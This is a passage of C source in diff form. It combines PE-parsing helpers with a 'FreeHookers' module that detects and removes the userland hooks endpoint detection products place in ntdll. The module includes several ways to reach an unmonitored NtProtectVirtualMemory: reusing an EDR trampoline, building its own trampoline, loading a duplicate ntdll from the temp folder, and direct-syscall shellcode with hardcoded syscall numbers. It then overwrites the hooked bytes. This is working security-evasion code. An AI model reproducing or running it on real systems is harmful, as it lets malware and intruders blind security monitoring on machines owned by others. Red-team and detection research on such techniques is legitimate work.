nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock);
|
||||
while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) {
|
||||
DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset;
|
||||
if (pe->nbRelocations >= relocationsLength) {
|
||||
relocationsLength *= 2;
|
||||
void* pe_relocations = pe->relocations;
|
||||
assert(NULL != pe_relocations);
|
||||
pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation));
|
||||
assert(NULL != pe->relocations);
|
||||
}
|
||||
pe->relocations[pe->nbRelocations].RVA = relocationRVA;
|
||||
pe->relocations[pe->nbRelocations].Type = relocationEntry->Type;
|
||||
pe->nbRelocations++;
|
||||
relocationEntry++;
|
||||
}
|
||||
relocationBlockPtr = nextRelocationBlockPtr;
|
||||
}
|
||||
void* pe_relocations = pe->relocations;
|
||||
assert(pe_relocations != NULL);
|
||||
pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation));
|
||||
if (NULL == pe->relocations)
|
||||
exit(1);
|
||||
}
|
||||
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||
{
|
||||
DWORD* relocDwAddress;
|
||||
QWORD* relocQwAddress;
|
||||
|
||||
if (pe->isMemoryMapped) {
|
||||
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||
return;
|
||||
}
|
||||
if (NULL == pe->relocations) {
|
||||
PE_parseRelocations(pe);
|
||||
}
|
||||
assert(pe->relocations != NULL);
|
||||
PVOID oldBaseAddress = pe->baseAddress;
|
||||
pe->baseAddress = newBaseAddress;
|
||||
for (DWORD i = 0; i < pe->nbRelocations; i++) {
|
||||
switch (pe->relocations[i].Type) {
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||
intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
assert(relativeOffset <= MAXDWORD);
|
||||
*relocDwAddress += (DWORD)relativeOffset;
|
||||
break;
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
|
||||
PE* pe = calloc(1, sizeof(PE));
|
||||
if (NULL == pe) {
|
||||
exit(1);
|
||||
}
|
||||
pe->isMemoryMapped = isMemoryMapped;
|
||||
pe->isInAnotherAddressSpace = FALSE;
|
||||
pe->hProcess = INVALID_HANDLE_VALUE;
|
||||
pe->dosHeader = imageBase;
|
||||
pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew);
|
||||
pe->optHeader = &pe->ntHeader->OptionalHeader;
|
||||
if (isMemoryMapped) {
|
||||
pe->baseAddress = imageBase;
|
||||
}
|
||||
else {
|
||||
pe->baseAddress = (PVOID)pe->optHeader->ImageBase;
|
||||
}
|
||||
pe->dataDir = pe->optHeader->DataDirectory;
|
||||
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader);
|
||||
DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (exportRVA == 0) {
|
||||
pe->exportDirectory = NULL;
|
||||
pe->exportedNames = NULL;
|
||||
pe->exportedFunctions = NULL;
|
||||
pe->exportedOrdinals = NULL;
|
||||
}
|
||||
else {
|
||||
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||
pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames);
|
||||
pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions);
|
||||
pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals);
|
||||
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
return pe;
|
||||
}
|
||||
|
||||
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
|
||||
PE* pe = calloc(1, sizeof(PE));
|
||||
if (NULL == pe) {
|
||||
exit(1);
|
||||
}
|
||||
pe->isMemoryMapped = TRUE;
|
||||
pe->hProcess = hProcess;
|
||||
pe->isInAnotherAddressSpace = TRUE;
|
||||
pe->baseAddress = imageBase;
|
||||
pe->dosHeader = imageBase;
|
||||
DWORD ntHeaderPtrAddress = 0;
|
||||
ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL);
|
||||
pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress);
|
||||
pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader);
|
||||
pe->dataDir = pe->optHeader->DataDirectory;
|
||||
WORD sizeOfOptionnalHeader = 0;
|
||||
ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL);
|
||||
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader);
|
||||
DWORD exportRVA = 0;
|
||||
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL);
|
||||
if (exportRVA == 0) {
|
||||
pe->exportDirectory = NULL;
|
||||
pe->exportedNames = NULL;
|
||||
pe->exportedFunctions = NULL;
|
||||
pe->exportedOrdinals = NULL;
|
||||
}
|
||||
else {
|
||||
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||
|
||||
DWORD AddressOfNames = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL);
|
||||
pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames);
|
||||
|
||||
DWORD AddressOfFunctions = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL);
|
||||
pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions);
|
||||
|
||||
DWORD AddressOfNameOrdinals = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL);
|
||||
pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals);
|
||||
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
return pe;
|
||||
}
|
||||
|
||||
|
||||
DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
|
||||
IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory;
|
||||
LPDWORD exportedNames = pe->exportedNames;
|
||||
LPDWORD exportedFunctions = pe->exportedFunctions;
|
||||
LPWORD exportedNameOrdinals = pe->exportedOrdinals;
|
||||
|
||||
DWORD nameOrdinal_low = 0;
|
||||
LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]);
|
||||
DWORD nameOrdinal_high = exportDirectory->NumberOfNames;
|
||||
DWORD nameOrdinal_mid;
|
||||
LPCSTR exportName_mid;
|
||||
|
||||
while (nameOrdinal_high - nameOrdinal_low > 1) {
|
||||
nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2;
|
||||
exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]);
|
||||
if (strcmp(exportName_mid, functionName) > 0) {
|
||||
nameOrdinal_high = nameOrdinal_mid;
|
||||
}
|
||||
else {
|
||||
nameOrdinal_low = nameOrdinal_mid;
|
||||
exportName_low = exportName_mid;
|
||||
}
|
||||
}
|
||||
if (!strcmp(exportName_low, functionName))
|
||||
return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]];
|
||||
return 0;
|
||||
}
|
||||
|
||||
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
|
||||
DWORD functionRVA = PE_functionRVA(pe, functionName);
|
||||
return PE_RVA_to_Addr(pe, functionRVA);
|
||||
}
|
||||
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) {
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
if ((size_t)sectionSize < patternSize) {
|
||||
continue;
|
||||
}
|
||||
assert(patternSize <= MAXDWORD);
|
||||
DWORD endSize = sectionSize - (DWORD)patternSize;
|
||||
for (DWORD offset = 0; offset < endSize; offset++) {
|
||||
PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset);
|
||||
if (!memcmp(ptr, pattern, patternSize)) {
|
||||
return ptr;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) {
|
||||
signed long long int maximum;
|
||||
signed long long int minimum;
|
||||
|
||||
switch (relativeReferenceSize)
|
||||
{
|
||||
case 1:
|
||||
minimum = MININT8;
|
||||
maximum = MAXINT8;
|
||||
break;
|
||||
case 2:
|
||||
minimum = MININT16;
|
||||
maximum = MAXINT16;
|
||||
break;
|
||||
case 4:
|
||||
minimum = MININT32;
|
||||
maximum = MAXINT32;
|
||||
break;
|
||||
default:
|
||||
minimum = 0;
|
||||
maximum = 0;
|
||||
break;
|
||||
}
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
DWORD targetRVA = PE_Addr_to_RVA(pe, target);
|
||||
//TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize)
|
||||
for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) {
|
||||
switch (relativeReferenceSize) {
|
||||
case 1:
|
||||
if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
case 4:
|
||||
if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
minimum = 0;
|
||||
maximum = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,673 @@
|
||||
// FreeHookers.cpp : This file contains the 'main' function. Program execution begins and ends there.
|
||||
//
|
||||
|
||||
#include "UserlandHooks.h"
|
||||
|
||||
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
|
||||
|
||||
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||
#if _WIN64
|
||||
#define PATCH_MAX_SIZE 0x18
|
||||
#else
|
||||
#define PATCH_MAX_SIZE 0x10
|
||||
#endif
|
||||
|
||||
int debugf(const char* fmt, ...) {
|
||||
#if _DEBUG
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int res = vprintf(fmt, args);
|
||||
va_end(args);
|
||||
return res;
|
||||
#else
|
||||
fmt = 0;
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||
*/
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (mem[i] != disk[i]) {
|
||||
size_t patchStartIndex = i;
|
||||
if (NULL != lenPatch) {
|
||||
while (mem[i] != disk[i] && i < len) {
|
||||
i++;
|
||||
}
|
||||
*lenPatch = i - patchStartIndex;
|
||||
}
|
||||
return &mem[patchStartIndex];
|
||||
}
|
||||
}
|
||||
if (NULL != lenPatch) {
|
||||
*lenPatch = 0;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||
* The list is a NULL-terminated array of "diff" elements
|
||||
*/
|
||||
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||
size_t diffSize;
|
||||
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
DWORD diffsListLen = 4;
|
||||
size_t diffsListI = 0;
|
||||
diff* diffsList = malloc(diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in malloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while (diffAddr != NULL && sizeToScan != 0) {
|
||||
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||
diffsList[diffsListI].size = diffSize;
|
||||
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
diffsListI++;
|
||||
if (diffsListI >= diffsListLen) {
|
||||
diffsListLen *= 2;
|
||||
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList[diffsListI].mem_ptr = NULL;
|
||||
diffsList[diffsListI].disk_ptr = NULL;
|
||||
diffsList[diffsListI].size = 0;
|
||||
return diffsList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||
*/
|
||||
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||
diff* list = NULL;
|
||||
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||
nonWritableSection != NULL;
|
||||
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||
LPVOID searchStartMem = sectionAddrMem;
|
||||
LPVOID searchStartDisk = sectionAddrDisk;
|
||||
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||
|
||||
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Dumps the full content of a single file, in a newly allocated buffer
|
||||
*/
|
||||
PBYTE readFullFileW(LPCWSTR fileName) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
PBYTE fileContent = malloc(fileSize);
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||
free(fileContent);
|
||||
fileContent = NULL;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return fileContent;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Checks is a file extists (and is not a directory)
|
||||
*/
|
||||
BOOL FileExistsW(LPCWSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/*
|
||||
* Looks for a memory needle in a memory haystack
|
||||
*/
|
||||
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||
{
|
||||
if (!haystack)
|
||||
return NULL;
|
||||
if (!haystack_len)
|
||||
return NULL;
|
||||
if (!needle)
|
||||
return NULL;
|
||||
if (!needle_len)
|
||||
return NULL;
|
||||
PBYTE h = haystack;
|
||||
while (haystack_len >= needle_len)
|
||||
{
|
||||
if (!memcmp(h, needle, needle_len))
|
||||
return h;
|
||||
++h;
|
||||
--haystack_len;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||
*/
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||
{
|
||||
SIZE_T haystack_len;
|
||||
PVOID haystack;
|
||||
PBYTE patternInExecutableMemory;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||
{
|
||||
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||
continue;
|
||||
}
|
||||
haystack = mbi.BaseAddress;
|
||||
haystack_len = mbi.RegionSize;
|
||||
while (haystack_len)
|
||||
{
|
||||
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||
if (!patternInExecutableMemory) {
|
||||
break;
|
||||
}
|
||||
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||
return patternInExecutableMemory;
|
||||
}
|
||||
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||
haystack = patternInExecutableMemory + 1;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID unhook(hook* hook, DWORD unhook_method) {
|
||||
if (unhook_method == UNHOOK_NONE) {
|
||||
return;
|
||||
}
|
||||
|
||||
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
diff* patches = hook->list_patches;
|
||||
//merge every small patches into 1 patch to perform a single write
|
||||
diff patch = patches[0];
|
||||
int nb_patches = 0;
|
||||
while (patches[nb_patches].size) {
|
||||
nb_patches++;
|
||||
}
|
||||
diff lastPatch = patches[nb_patches - 1];
|
||||
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||
|
||||
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||
|
||||
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||
// in this case, it is not really "safe" to use
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||
|
||||
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||
break;
|
||||
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||
{
|
||||
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||
RtlGetVersion(&versionInformation);
|
||||
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||
DWORD oldProtect;
|
||||
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
PBYTE pShellcode = shellcode;
|
||||
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||
pShellcode += sizeof(mov_eax_syscall_number);
|
||||
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||
pShellcode += sizeof(mov_r10_rcx);
|
||||
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||
pShellcode += sizeof(syscall_ret);
|
||||
DWORD syscallNumber = 0;
|
||||
|
||||
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
|
||||
for (int i = 0; i < 0x10; i++ , scanner++) {
|
||||
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
|
||||
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||
syscallNumber = *pPotentialSycallNumber;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (syscallNumber != 0) {
|
||||
//syscall number found !
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
|
||||
syscallNumber = 0x50; // win10
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||
syscallNumber = 0x4E; // win8 / 2012
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion <= 6) {
|
||||
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||
}
|
||||
else {
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
*((DWORD*)(&shellcode[1])) = syscallNumber;
|
||||
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
|
||||
#if !_WIN64
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
#else
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
printf("Unhook method does not exist, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
break;
|
||||
}
|
||||
|
||||
//actually remove the hook
|
||||
DWORD oldProtect;
|
||||
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||
SIZE_T patch_size = patch.size;
|
||||
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < patch.size; i++) {
|
||||
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||
}
|
||||
|
||||
status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||
FreeLibrary(secondNtdll);
|
||||
}
|
||||
DeleteFileW(ntdlolFilePath);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||
}
|
||||
|
||||
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||
exit(1);
|
||||
}
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
